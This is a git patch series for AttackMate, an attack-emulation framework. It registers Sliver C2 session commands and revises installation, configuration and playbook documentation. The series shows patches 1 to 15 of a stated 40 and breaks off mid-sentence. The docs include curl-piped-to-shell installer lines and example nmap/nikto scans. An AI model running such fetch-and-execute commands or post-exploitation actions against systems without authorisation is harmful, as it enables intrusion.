From 5912f9c202b0f1e4f3564d4795de33c56f4a649a Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Thu, 5 Mar 2026 17:01:57 +0100 Subject: [PATCH 01/40] register custom executor --- docs/source/developing/baseexecutor.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/source/developing/baseexecutor.rst b/docs/source/developing/baseexecutor.rst index cdabe903..0d5f7e16 100644 --- a/docs/source/developing/baseexecutor.rst +++ b/docs/source/developing/baseexecutor.rst @@ -39,6 +39,7 @@ Example: from attackmate.executors.base_executor import BaseExecutor from attackmate.result import Result + @executor_factory.register_executor('custom') class CustomExecutor(BaseExecutor): async def _exec_cmd(self, command) -> Result: self.logger.info(f"Executing custom command: {command.cmd}") From bb8eb346f8b3448dc680d3e9a2a71baf6cef32fd Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Mon, 9 Mar 2026 16:26:23 +0100 Subject: [PATCH 02/40] Background command return Command started in Background,0 --- docs/source/developing/integration.rst | 4 ++-- src/attackmate/executors/baseexecutor.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/source/developing/integration.rst b/docs/source/developing/integration.rst index 76b13c23..4bb22d52 100644 --- a/docs/source/developing/integration.rst +++ b/docs/source/developing/integration.rst @@ -67,11 +67,11 @@ Understanding the Result Object =============================== When executing a command with AttackMate, the result is returned as an instance of the ``Result`` class. This object contains the standard output (`stdout`) and the return code (`returncode`) of the executed command. -Commands that run in the Background return Result(None,None) +Commands that run in the Background return Result('Command started in background', 0) .. note:: Regular Commands return a ``Result`` object. - Commands that run in background mode return ``Result(None,None)``. + Commands that run in background mode return ``Result('Command started in background', 0)``. Attributes ---------- diff --git a/src/attackmate/executors/baseexecutor.py b/src/attackmate/executors/baseexecutor.py index 8f0f49cd..dfe559d2 100644 --- a/src/attackmate/executors/baseexecutor.py +++ b/src/attackmate/executors/baseexecutor.py @@ -85,13 +85,13 @@ async def run(self, command: BaseCommand, is_api_instance: bool = False) -> Resu self.reset_run_count() self.logger.debug(f"Template-Command: '{command.cmd}'") if command.background: - # Background commands always return Result(None,None) + # Background commands always return Result('Command started in background', 0) time_of_execution = datetime.now().isoformat() self.log_json(self.json_logger, command, time_of_execution) await self.exec_background( self.substitute_template_vars(command, self.substitute_cmd_vars) ) - # the background command will return immidiately with Result(None, None) + # the background command will return immidiately with Result('Command started in background', 0) # Return 0 instead of None so the API/Remote Client sees success result = Result('Command started in background', 0) else: From 5e08b2252c7f3928682be967c6388284652ca2cd Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Mon, 9 Mar 2026 16:31:16 +0100 Subject: [PATCH 03/40] typo --- docs/source/developing/command.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/source/developing/command.rst b/docs/source/developing/command.rst index a0f2da35..f0737b4a 100644 --- a/docs/source/developing/command.rst +++ b/docs/source/developing/command.rst @@ -37,7 +37,7 @@ make them usable in external python scripts. 2. Implement the Command Execution =================================== -The new command should be handled by an executor in `src/attackmate/executors`` that extends ``BaseExecutor`` and implements the ``_exec_cmd()`` method. For example: +The new command should be handled by an executor in `src/attackmate/executors` that extends ``BaseExecutor`` and implements the ``_exec_cmd()`` method. For example: :: From cceaa6049e49cc6b608dc2fafd48c004163eefb1 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Mon, 9 Mar 2026 16:41:59 +0100 Subject: [PATCH 04/40] note on background command --- docs/source/playbook/commands/index.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/source/playbook/commands/index.rst b/docs/source/playbook/commands/index.rst index 9ab32c3f..95d99e05 100644 --- a/docs/source/playbook/commands/index.rst +++ b/docs/source/playbook/commands/index.rst @@ -180,8 +180,8 @@ Every command, regardless of the type has the following general options: .. note:: - The command in background-mode will not change global variables like - RESULT_STDOUT or RESULT_CODE. + The command in background-mode will change global variables like + RESULT_STDOUT to "Command started in Background" and RESULT_CODE to 0. .. confval:: kill_on_exit From 0d6685d4bef56cf0fa0fe8a980ee253c01a1af61 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 10:00:46 +0100 Subject: [PATCH 05/40] register all sliver commands --- src/attackmate/schemas/sliver.py | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/src/attackmate/schemas/sliver.py b/src/attackmate/schemas/sliver.py index 6b8f029a..905a5cfb 100644 --- a/src/attackmate/schemas/sliver.py +++ b/src/attackmate/schemas/sliver.py @@ -56,6 +56,7 @@ class SliverSessionMKDIRCommand(SliverSessionCommand): remote_path: str +@CommandRegistry.register('sliver-session', 'download') class SliverSessionDOWNLOADCommand(SliverSessionCommand): cmd: Literal['download'] remote_path: str @@ -63,6 +64,7 @@ class SliverSessionDOWNLOADCommand(SliverSessionCommand): recurse: bool = False +@CommandRegistry.register('sliver-session', 'upload') class SliverSessionUPLOADCommand(SliverSessionCommand): cmd: Literal['upload'] remote_path: str @@ -71,6 +73,7 @@ class SliverSessionUPLOADCommand(SliverSessionCommand): is_ioc: bool = False +@CommandRegistry.register('sliver-session', 'netstat') class SliverSessionNETSTATCommand(SliverSessionCommand): cmd: Literal['netstat'] tcp: bool = True @@ -80,6 +83,7 @@ class SliverSessionNETSTATCommand(SliverSessionCommand): listening: bool = True +@CommandRegistry.register('sliver-session', 'execute') class SliverSessionEXECCommand(SliverSessionCommand): cmd: Literal['execute'] exe: str @@ -91,17 +95,20 @@ class SliverSessionSimpleCommand(SliverSessionCommand): cmd: Literal['ifconfig', 'ps', 'pwd'] +@CommandRegistry.register('sliver-session', 'ls') class SliverSessionLSCommand(SliverSessionCommand): cmd: Literal['ls'] remote_path: str +@CommandRegistry.register('sliver-session', 'process_dump') class SliverSessionPROCDUMPCommand(SliverSessionCommand): cmd: Literal['process_dump'] local_path: str pid: StringNumber +@CommandRegistry.register('sliver-session', 'rm') class SliverSessionRMCommand(SliverSessionCommand): cmd: Literal['rm'] remote_path: str @@ -109,6 +116,7 @@ class SliverSessionRMCommand(SliverSessionCommand): force: bool = False +@CommandRegistry.register('sliver-session', 'terminate') class SliverSessionTERMINATECommand(SliverSessionCommand): cmd: Literal['terminate'] pid: StringNumber From 80c22923e5a2d3226e3efefbaeb832e80451547f Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 10:01:58 +0100 Subject: [PATCH 06/40] register simple commands --- src/attackmate/schemas/sliver.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/src/attackmate/schemas/sliver.py b/src/attackmate/schemas/sliver.py index 905a5cfb..39a403bd 100644 --- a/src/attackmate/schemas/sliver.py +++ b/src/attackmate/schemas/sliver.py @@ -91,6 +91,9 @@ class SliverSessionEXECCommand(SliverSessionCommand): output: bool = True +@CommandRegistry.register('sliver-session', 'ifconfig') +@CommandRegistry.register('sliver-session', 'ps') +@CommandRegistry.register('sliver-session', 'pwd') class SliverSessionSimpleCommand(SliverSessionCommand): cmd: Literal['ifconfig', 'ps', 'pwd'] From 6b844881a8dc5fdbe86aa343440be03c1a8850e3 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 10:52:21 +0100 Subject: [PATCH 07/40] update command integration docs --- docs/source/developing/command.rst | 84 ++++++++++++++++++++++++++---- 1 file changed, 74 insertions(+), 10 deletions(-) diff --git a/docs/source/developing/command.rst b/docs/source/developing/command.rst index f0737b4a..18d75e59 100644 --- a/docs/source/developing/command.rst +++ b/docs/source/developing/command.rst @@ -14,7 +14,24 @@ This section details the steps required to integrate a new command. All Commands in AttackMate inherit from ``BaseCommand``. To create a new command, define a class in `/src/attackmate/schemas` and register it using the ``@CommandRegistry.register('')`` decorator. -For example, to add a ``debug`` command: +Registering the command in the ``CommandRegistry`` allows the command to be also instantiated dynamically using the ``Command.create()`` method and is essential to +make it usable in external python scripts. + +.. note:: + + **Registration rules:** + + - Every command class must have a **unique** ``type`` literal — this is the sole discriminator + used to identify a command in the union. + - A command may additionally define a ``cmd`` field to express sub-behaviors (e.g. + ``Literal['file', 'dir']``). In this case, branching on ``cmd`` belongs in the + **executor**, not in the schema's union discrimination. + - The ``type`` + ``cmd`` nested union pattern seen in ``SliverSessionCommands`` is + **legacy** and must not be replicated. New command families must always use a unique + ``type`` per class. + + +**Example: a simple command with no sub-behaviors** :: @@ -30,8 +47,20 @@ For example, to add a ``debug`` command: wait_for_key: bool = False cmd: str = '' -Registering the command in the ``CommandRegistry`` allows the command to be also instantiated dynamically using the ``Command.create()`` method and is essential to -make them usable in external python scripts. + +**Example: a command with sub-behaviors expressed via** ``cmd`` + +:: + + from typing import Literal + from .base import BaseCommand + from attackmate.command import CommandRegistry + + @CommandRegistry.register('mktemp') + class TempfileCommand(BaseCommand): + type: Literal['mktemp'] + cmd: Literal['file', 'dir'] = 'file' + variable: str 2. Implement the Command Execution @@ -51,16 +80,25 @@ The new command should be handled by an executor in `src/attackmate/executors` t self.logger.info(f"Executing debug command: {command.cmd}") return Result(stdout="Debug executed", returncode=0) + 3. Ensure the Executor Handles the New Command ============================================== The ``ExecutorFactory`` class manages and creates executor instances based on command types. It maintains a registry (``_executors``) that maps command type strings to executor classes, allowing for dynamic execution of different command types. Executors are registered using the ``register_executor`` method, which provides a decorator to associate a command type with a class. + When a command is executed, the ``create_executor`` method retrieves the corresponding executor class, filters the constructor arguments based on the class's signature, and then creates an instance. Accordingly, executors must be registered using the ``@executor_factory.register_executor('')`` decorator. +:: + + @executor_factory.register_executor('debug') + class DebugExecutor(BaseExecutor): + # implementation of the executor + + If the new executor class requires additional initialization arguments, these must be added to the ``_get_executor_config`` method in ``attackmate.py``. All configurations are always passed to the ``ExecutorFactory``. The factory filters the provided configurations based on the class constructor signature, ensuring that only the required parameters are used. @@ -84,7 +122,7 @@ The factory filters the provided configurations based on the class constructor s 4. Modify the Loop Command to Include the New Command ===================================================== -Update the ``LoopCommand`` schema to include the new command. +in `/src/attackmate/schemas/loop.py` update the ``LoopCommand`` schema to include the new command. :: @@ -95,21 +133,47 @@ Update the ``LoopCommand`` schema to include the new command. ] -5. Modify playbook.py to Include the New Command -===================================================== - -Update the ``Playbook`` schema to include the new command. +4. Modify the RemotelyExecutableCommand Union to Include the New Command +======================================================================== +in `src/attackmate/schemas/command_subtypes.py`, update the ``RemotelyExecutableCommand`` type alias to include the new command :: - Commands = List[ + RemotelyExecutableCommand: TypeAlias = Annotated[ Union[ + SliverSessionCommands, + SliverCommands, + BrowserCommand, ShellCommand, DebugCommand, # Newly added command # ... other command classes ... - ] + ], + Field(discriminator='type'), # Outer discriminator (type) ] +.. note:: + + ``RemotelyExecutableCommand`` defines the complete set of commands that can be executed + on a remote AttackMate instance. It is a Pydantic discriminated union using ``type`` as + its sole discriminator — every command class must define a unique ``type`` literal, which + is used to resolve the correct class from the union. + + **Adding a new command to** ``RemotelyExecutableCommand``\ **:** + + Simply add the new command class directly to the ``Union`` in ``RemotelyExecutableCommand``. + No further schema-level discrimination is needed — any sub-behaviors should be expressed + via a ``cmd`` field on the class and handled in the executor. + + **Legacy pattern (do not replicate):** + + The nested ``SliverSessionCommands`` and ``SliverCommands`` aliases use a two-level + discrimination strategy — an outer ``type`` discriminator to identify the command family, + and an inner ``cmd`` discriminator to resolve the specific sub-command. This follows + Pydantic's `nested discriminated unions + `_ pattern + but couples sub-behavior decisions into the schema layer. New command families must + **not** replicate this pattern. + Once these steps are completed, the new command will be fully integrated into AttackMate and available for execution. 6. Add Documentation From 362273d63340e778d86892680a1e541d1adfca62 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 10:56:31 +0100 Subject: [PATCH 08/40] update readme with uv --- README.md | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 342c6474..a9b73a4f 100644 --- a/README.md +++ b/README.md @@ -24,17 +24,29 @@ $ pip3 install . ``` Using pip: - ``` $ pip3 install attackmate ``` +Using uv: +``` +$ git clone https://github.com/ait-aecid/attackmate.git +$ cd attackmate +$ uv sync +``` + ## Execute +With pip: ``` $ attackmate playbook.yml ``` +With uv: +``` +$ uv run attackmate playbook.yml +``` + ![AttackMate Demo](docs/source/images/Demo.gif "AttackMate Demo") ## Documentation From 22049d7f0b323f954355236887e36e3ef35bcc72 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 10:59:51 +0100 Subject: [PATCH 09/40] update manual with uv --- docs/source/installation/manual.rst | 25 ++++++++++++++++++++----- 1 file changed, 20 insertions(+), 5 deletions(-) diff --git a/docs/source/installation/manual.rst b/docs/source/installation/manual.rst index 355439a0..b6be909e 100644 --- a/docs/source/installation/manual.rst +++ b/docs/source/installation/manual.rst @@ -1,5 +1,3 @@ -.. _manual: - ========================= Installation from sources ========================= @@ -15,7 +13,7 @@ following tools: .. note:: - python3-venv must only be installed if AttackMate should be installed in a virtual environment + ``python3-venv`` must only be installed if AttackMate should be installed in a virtual environment. Download the sources: @@ -24,19 +22,36 @@ Download the sources: $ git clone https://github.com/ait-aecid/attackmate.git $ cd attackmate -Optional: Create virtual environment and activate it: +**Option A: Install with pip** + +Optional: Create a virtual environment and activate it: :: $ python3 -mvenv venv $ source venv/bin/activate -Finally install attackmate and it's dependencies: +Install AttackMate and its dependencies: :: $ pip3 install . +**Option B: Install with uv** + +``uv`` manages the virtual environment and dependencies automatically — no manual venv setup needed: + +:: + + $ pip3 install uv + $ uv sync + +Run AttackMate via: + +:: + + $ uv run attackmate playbook.yml + .. warning:: Please note that you need to :ref:`sliver-fix` if you want From 941cb159126ece1cb94aa473fa5f0644226517a6 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 12:00:31 +0100 Subject: [PATCH 10/40] installation docs --- docs/source/installation/ansible.rst | 8 ++++---- docs/source/installation/manual.rst | 3 ++- 2 files changed, 6 insertions(+), 5 deletions(-) diff --git a/docs/source/installation/ansible.rst b/docs/source/installation/ansible.rst index d3510796..7a056098 100644 --- a/docs/source/installation/ansible.rst +++ b/docs/source/installation/ansible.rst @@ -9,7 +9,7 @@ Ansible. The `ansible-role `_ a .. note:: - Currently the ansible role only works with Debian and Ubuntu distributions. + Currently the ansible role only works with Kali, Debian and Ubuntu distributions. Installation Steps @@ -32,8 +32,8 @@ Installation Steps $ cd my-attackmate $ touch install_attackmate.yml -Open the `install_attackmate.yml` file and fill it with this sample playbook (it also can be found on the README-page -of the `github-repository `_), which installs AttackMate on localhost: +Open the `install_attackmate.yml` file and fill it with this sample playbook to AttackMate on localhost. The playbook can also can be found on the README-page +of the `github-repository `_, have a look at the role variables there for further configuration options. :: @@ -66,7 +66,7 @@ of the `github-repository `_), 3. Clone the Ansible Role - Ansible expects all roles to be in the **roles** directory. Create this directory and clone the repository: + Ansible expects all roles to be in the **roles** directory. Create this directory and clone the ansible role repository: :: diff --git a/docs/source/installation/manual.rst b/docs/source/installation/manual.rst index b6be909e..21e7ec90 100644 --- a/docs/source/installation/manual.rst +++ b/docs/source/installation/manual.rst @@ -54,5 +54,6 @@ Run AttackMate via: .. warning:: - Please note that you need to :ref:`sliver-fix` if you want + Please note that you if you install from source you also need to install :ref:`sliver-fix` if you want to use the sliver commands! + The ansible role ref:`ansible` already includes the sliver-fix. From fd91cd6d3063a517170f76eb89d5d73f26ad1c67 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 12:03:05 +0100 Subject: [PATCH 11/40] include uv in manual installation --- docs/source/installation/index.rst | 1 - docs/source/installation/uv.rst | 62 ------------------------------ 2 files changed, 63 deletions(-) delete mode 100644 docs/source/installation/uv.rst diff --git a/docs/source/installation/index.rst b/docs/source/installation/index.rst index 62758f90..0976eaf1 100644 --- a/docs/source/installation/index.rst +++ b/docs/source/installation/index.rst @@ -17,4 +17,3 @@ and :ref:`Sliver `. sliverfix ansible docker - uv diff --git a/docs/source/installation/uv.rst b/docs/source/installation/uv.rst deleted file mode 100644 index 99d39b70..00000000 --- a/docs/source/installation/uv.rst +++ /dev/null @@ -1,62 +0,0 @@ -.. _uv: - -========================= -Installation with uv -========================= - -It is possible install AttackMate using `uv `_ package manager. - - -Installation Steps -================== - -1. Install uv: - -:: - - $ curl -LsSf https://astral.sh/uv/install.sh | sh - -2. Git clone AttackMate - -:: - - $ git clone https://github.com/ait-testbed/attackmate.git - -3. Navigate into the repository - -:: - - $ cd attackmate - - -4. Create a virtual environment with uv - -:: - - $ uv venv - -4. Create a package using uv - -:: - - $ uv build - -5. Install AttackMate and it`s dependencies using - -:: - - $ uv pip install . - - -6. You can run AttackMate in the project environment with - -:: - - $ uv run attackmate - - - -.. warning:: - - Please note that you need to :ref:`sliver-fix` if you want - to use the sliver commands! From 1f8d95096e409ee53b9558814ff834465a84e8c3 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 12:04:55 +0100 Subject: [PATCH 12/40] typo --- docs/source/preparation/metasploit.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/source/preparation/metasploit.rst b/docs/source/preparation/metasploit.rst index 066aad34..9612fb58 100644 --- a/docs/source/preparation/metasploit.rst +++ b/docs/source/preparation/metasploit.rst @@ -21,4 +21,4 @@ starts the msfrpcd with a password: $ msfrpcd -P securepassword -After starting the msfrpcd it will listen on all interface at port ``55553``. +After starting the msfrpcd, it will listen on all interfaces on port ``55553``. From dc58ede2d5d9f90f59890df81eca06731e110b2e Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 12:09:03 +0100 Subject: [PATCH 13/40] improve sliver section --- docs/source/preparation/sliver.rst | 30 +++++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) diff --git a/docs/source/preparation/sliver.rst b/docs/source/preparation/sliver.rst index e7f7f038..c6a3dc23 100644 --- a/docs/source/preparation/sliver.rst +++ b/docs/source/preparation/sliver.rst @@ -4,17 +4,29 @@ Prepare Sliver ============== -`Sliver `_ is a Post-Exploitation framework with implants for Linux, Windows and MacOs. -In order to use the sliver-commands in AttackMate, a sliver installation is required. -Sliver offers an API on port ``31337`` which is used by AttackMate to interact with it. -Follow the `Instructions offered by BishopFox `_ -to install the Sliver Framework. The simplest method is a curl oneliner: +`Sliver `_ is a post-exploitation framework with +implants for Linux, Windows, and macOS. AttackMate communicates with Sliver via its API +on port ``31337``. + +Installation +------------ + +Follow the `installation instructions by BishopFox `_ +to set up the Sliver framework. The quickest method is: :: - $ curl https://sliver.sh/install|sudo bash + $ curl https://sliver.sh/install | sudo bash + +After installation, Sliver creates an operator named ``root`` and stores its configuration +under ``/root/.sliver-client/configs``, which AttackMate uses to connect. -Sliver will create an operator named "root" and save the configs under ``/root/.sliver-client/configs`` -which can be used by AttackMate. +Configuration +------------- + +AttackMate requires Sliver to run in daemon mode. Ensure the following is set in +``.sliver/configs/server.json``: + +:: -attackm8 only works if daemon-mode is enabled: ``"daemon-mode": "true"`` in the sliver-server under ``.sliver/configs/server.json`` + "daemon-mode": "true" From 27c7802325004226382a88a29e351f4d5d2bcf9f Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 12:39:08 +0100 Subject: [PATCH 14/40] improve config section --- .../source/configuration/bettercap_config.rst | 21 +++++---- docs/source/configuration/command_config.rst | 11 ++--- docs/source/configuration/index.rst | 13 +++-- docs/source/configuration/msf_config.rst | 34 +++++++------- docs/source/configuration/remote_config.rst | 47 +++++++++++-------- docs/source/configuration/sliver_config.rst | 6 ++- 6 files changed, 77 insertions(+), 55 deletions(-) diff --git a/docs/source/configuration/bettercap_config.rst b/docs/source/configuration/bettercap_config.rst index d6a08503..cfd5d0c9 100644 --- a/docs/source/configuration/bettercap_config.rst +++ b/docs/source/configuration/bettercap_config.rst @@ -4,10 +4,10 @@ bettercap_config ================ -bettercap_config holds settings for the Bettercap rest-api. The configuration -always starts with an identifier for the connection. This identifier can be -selected when executing a command in a playbook. The first connection in this -file is the default if no explicit connection was selected in the command. +``bettercap_config`` holds connection profiles for the Bettercap REST API. Each profile +is identified by a user-defined name that can be referenced in playbook commands via the +``connection`` field. If no connection is specified, the first profile in the configuration +is used as the default. .. code-block:: yaml @@ -22,6 +22,11 @@ file is the default if no explicit connection was selected in the command. username: btrcp password: somepass + + +The following playbook example shows how to target a specific connection, and how the +default connection is used when none is specified: + .. code-block:: yaml # bettercap-playbook.yml: @@ -39,24 +44,24 @@ file is the default if no explicit connection was selected in the command. .. confval:: url - This option stores the url to the rest-api + URL of the Bettercap REST API. :type: str .. confval:: username - The http basic username for the rest-api + HTTP Basic Auth username for the Bettercap REST API. :type: str .. confval:: password - The http basic password for the rest-api + HTTP Basic Auth password for the BettercapREST API. :type: str .. confval:: cafile - The path to the ca-file for the encryption if https is in use. + Path to the CA certificate file used for TLS verification when connecting via HTTPS. :type: str diff --git a/docs/source/configuration/command_config.rst b/docs/source/configuration/command_config.rst index 2d01a2e6..a1976a21 100644 --- a/docs/source/configuration/command_config.rst +++ b/docs/source/configuration/command_config.rst @@ -14,18 +14,17 @@ These are settings for **all** commands. .. confval:: loop_sleep - All commands can be configured to be executed in a loop. For example: if a command - does not deliver the expected output, the command can be executed again until the - output has the expected value. Between the executions can be a sleep time of certain - seconds. + All commands can be configured to be executed in a loop. For example: + retrying until the output of a command matches an expected value, + with an optional sleep interval between attempts. :type: int :default: 5 .. confval:: command_delay - This delay in seconds is applied to all commands in the playbook. - It is not applied to debug, setvar and sleep commands. + A delay in seconds applied **before** each command in the playbook. + Does not apply to ``debug``, ``setvar``, and ``sleep`` commands. :type: float :default: 0 diff --git a/docs/source/configuration/index.rst b/docs/source/configuration/index.rst index b6befdbd..8dba306c 100644 --- a/docs/source/configuration/index.rst +++ b/docs/source/configuration/index.rst @@ -11,7 +11,7 @@ is not used, attackmate will search at the following locations for the config-fi #. **$HOME/.config/attackmate.yml** #. **/etc/attackmate.yml** -The optional configuration-file is in yaml-format and is divided into five sections: +The optional configuration file is in yaml-format and is divided into five sections: * **cmd_config**: defines settings for all commands * **msf_config**: connection settings for the msfrpcd @@ -20,7 +20,7 @@ The optional configuration-file is in yaml-format and is divided into five secti * **remote_config**: connection settings for the remote attackmate server The following configuration file is an example for a basic configuration with -sliver and metasploit: +sliver, metasploit and remote attackmate server: .. code-block:: yaml @@ -42,7 +42,14 @@ sliver and metasploit: sliver_config: config_file: /home/attacker/.sliver-client/configs/attacker_localhost.cfg -For detailed information about the config sections see: + remote_config: + remote_server_name: + url: "https://10.0.0.5:5000" + username: admin + password: securepassword + cafile: "/path/to/cert.pem" + +For detailed information about each config section see: .. toctree:: :maxdepth: 4 diff --git a/docs/source/configuration/msf_config.rst b/docs/source/configuration/msf_config.rst index 596f3a24..a477c88c 100644 --- a/docs/source/configuration/msf_config.rst +++ b/docs/source/configuration/msf_config.rst @@ -4,8 +4,7 @@ msf_config ========== -msf_config holds settings for the Metasploit modules and sessions. -Most of these settings control the Metsaploit RPC connection. +``msf_config`` holds connection settings for the Metasploit RPC daemon (``msfrpcd``). .. code-block:: yaml @@ -14,38 +13,39 @@ Most of these settings control the Metsaploit RPC connection. password: securepassword server: 10.18.3.86 + .. confval:: server - This option stores the servername or ip-address of the msfrpcd + The servername or IP address of the ``msfrpcd``. :type: str :default: 127.0.0.1 -.. confval:: password +.. confval:: port - This option stores the password of the rpc-connection. + Port on which ``msfrpcd`` is listening. - :type: str - :default: None + :type: int + :default: 55553 -.. confval:: ssl +.. confval:: uri - This option enables encryption for the rpc-connection + URI of the RPC API. - :type: bool - :default: True +.. confval:: ssl -.. confval:: port + Enables encryption for the RPC connection. - This option sets the port for the rpc-connection. + :type: bool + :default: True - :type: int - :default: 55553 +.. confval:: password -.. confval:: uri + The password for the RPC connection. - This option sets uri of the rpc-api. + :type: str + :default: None diff --git a/docs/source/configuration/remote_config.rst b/docs/source/configuration/remote_config.rst index c032c7d2..f184c5e5 100644 --- a/docs/source/configuration/remote_config.rst +++ b/docs/source/configuration/remote_config.rst @@ -4,9 +4,11 @@ remote_config ============= -The remote_config section defines connections to remote AttackMate instances. This allows one AttackMate instance to act as a controller, dispatching playbooks or commands to remote nodes. +``remote_config`` defines connections to remote AttackMate instances. This allows one AttackMate instance to act as a controller, dispatching playbooks or commands to remote nodes. -Like other executors, the configuration uses unique identifiers (names) for each connection. If a command in a playbook does not explicitly specify a connection, the first entry defined in this configuration is used as the default. +Each connection is identified by a user-defined name that can be referenced in playbook +commands via the ``connection`` field. If no connection is specified, the first entry in +the configuration is used as the default. .. code-block:: yaml @@ -23,42 +25,49 @@ Like other executors, the configuration uses unique identifiers (names) for each cafile: "/path/to/another_cert.pem" +The following example shows how to target a specific remote instance, and how the +default connection is used when none is specified: + .. code-block:: yaml commands: - # Executed on 'another_server' - - type: remote - connection: another_server - cmd: execute_command - remote_command: - type: shell - cmd: "whoami" - - # Executed on 'remote_server' (defaults to first remote_config entry)) - - type: remote - cmd: execute_playbook - playbook_path: path/to/playbook.yml + # Executed on 'another_server' + - type: remote + connection: another_server + cmd: execute_command + remote_command: + type: shell + cmd: "whoami" + + # Executed on 'remote_server' (defaults to first remote_config entry)) + - type: remote + cmd: execute_playbook + playbook_path: path/to/playbook.yml .. confval:: url The base URL of the remote AttackMate REST API. -:type: str :required: True +:type: str +:required: True .. confval:: username The username for authentication with the remote AttackMate instance. -:type: str :required: False +:type: str +:required: False .. confval:: password The password for authentication with the remote AttackMate instance. -:type: str :required: False +:type: str +:required: False .. confval:: cafile -The path to a CA certificate file used to verify the remote server's SSL certificate. This is highly recommended when using HTTPS. +The path to a CA certificate file used to verify the remote server's TLS certificate. Strongly recommended when connecting over HTTPS. -:type: str :required: False +:type: str +:required: False diff --git a/docs/source/configuration/sliver_config.rst b/docs/source/configuration/sliver_config.rst index ad629cfb..fad88931 100644 --- a/docs/source/configuration/sliver_config.rst +++ b/docs/source/configuration/sliver_config.rst @@ -4,7 +4,7 @@ sliver_config ============= -sliver_config stores all settings to controll the connection to the sliver-API. +``sliver_config`` stores all settings to control the connection to the Sliver API. .. code-block:: yaml @@ -14,6 +14,8 @@ sliver_config stores all settings to controll the connection to the sliver-API. .. confval:: config_file - Path to the sliver-client configfile. + Path to the Sliver client configuration file. This file is generated by the Sliver + server during operator setup and is typically found under + ``~/.sliver-client/configs/``. :type: str From 8ef312cbf152bb623eea5d2045130969902f2604 Mon Sep 17 00:00:00 2001 From: thorinaboenke Date: Tue, 10 Mar 2026 13:01:22 +0100 Subject: [PATCH 15/40] improve basic.rst --- docs/source/basic.rst | 59 ++++++++++++++++++------------ docs/source/playbook/structure.rst | 5 ++- 2 files changed, 39 insertions(+), 25 deletions(-) diff --git a/docs/source/basic.rst b/docs/source/basic.rst index 2d6e19a0..3ce1368a 100644 --- a/docs/source/basic.rst +++ b/docs/source/basic.rst @@ -2,7 +2,7 @@ Basic Usage =========== -AttackMate ships with a executable stub called "attackmate" that can be called like follows: +AttackMate is invoked via the ``attackmate`` command: :: @@ -24,7 +24,8 @@ AttackMate ships with a executable stub called "attackmate" that can be called l Sample Playbook =============== -In our first example we use the following playbook.yml: +The following playbook demonstrates a simple reconnaissance chain using nmap, regex parsing, +and nikto: .. code-block:: yaml @@ -49,17 +50,29 @@ In our first example we use the following playbook.yml: .. warning:: - For this playbook it is required to have nmap and nikto installed! - This playbook also needs a webserver at localhost on port 8000. - You can run ``python3 -mhttp.server`` in a seperate shell to start - the webserver. + This playbook requires ``nmap`` and ``nikto`` to be installed, and a web server + running on ``localhost:8000``. You can start one with: + + :: + + $ python3 -mhttp.server First Run ========= -Now we can run the playbook using the following command: -(We can supply the full path to the playbook, otherwise the parser tries to find it in the current working directory or in the folder /etc/attackmate/playbooks) +Run the playbook with ``--debug`` for verbose output: + +:: + + $ attackmate --debug playbook.yml + +.. note:: + + The playbook path can be absolute, relative to the current working directory, + or relative to ``/etc/attackmate/playbooks``. + +Expected output: :: @@ -76,33 +89,33 @@ Now we can run the playbook using the following command: Explanation =========== -In the **vars**-section we have three variables That can be used later in the **commands**-section. -The nmap-binary is expected at the location */usr/bin/nmap*. The target to attack is *localhost* and +**vars** defines reusable variables that can be referenced throughout the ``commands`` section. +In this example, we define the path to the nmap binary, the target host, and the web port to attack. +The nmap-binary is expected at the location */usr/bin/nmap*, the target to attack is *localhost* and the web-port to attack is *8000*. -:: +.. code-block:: yaml vars: NMAP: /usr/bin/nmap TARGET: localhost WEBPORT: "8000" -The first command executes an nmap-script-scan on port *8000* at *localhost*. This command illustrates -how to use variables: +The first command executes an nmap script scan on port *8000* against the target *localhost*. This command illustrates +how to use variables: Variables are substituted at runtime using ``$VARNAME`` syntax: -:: +.. code-block:: yaml commands: - type: shell cmd: $NMAP -sC -p $WEBPORT $TARGET -As soon as nmap finishes, it automatically stores the output the the built-in variable ``RESULT_STDOUT``. -The regex command executes a regex search using the content of the nmap output. The regular expression is -`(\d+)/tcp open\s+http`. If the expression matches, it will "group" the port number in the variable -``$MATCH_0`` which is a volatile variable and is deleted after the regex-command finishes. In the setting -*output* is a variable defined with the name ``PORT`` and it will be set with the value of ``$MATCH_0``. +As soon as nmap finishes, its output is automatically stored in the built-in variable ``RESULT_STDOUT``. +The regex command searches this output using the expression ``(\d+)/tcp open\s+http``. +If it matches, the captured port number is stored in the volatile variable ``$MATCH_0`` (deleted after the regex-command finishes), +which is then assigned to the persistent variable``PORT`` via the ``output`` mapping: -:: +.. code-block:: yaml - type: regex cmd: (\d+)/tcp open\s+http @@ -110,10 +123,10 @@ The regex command executes a regex search using the content of the nmap output. output: PORT: $MATCH_0 -The final command is again a shell command that is supposed to execute a nikto scan using the previously -parsed variable ``$PORT``. This command will only be executed if the condition ``$PORT == 8000`` is 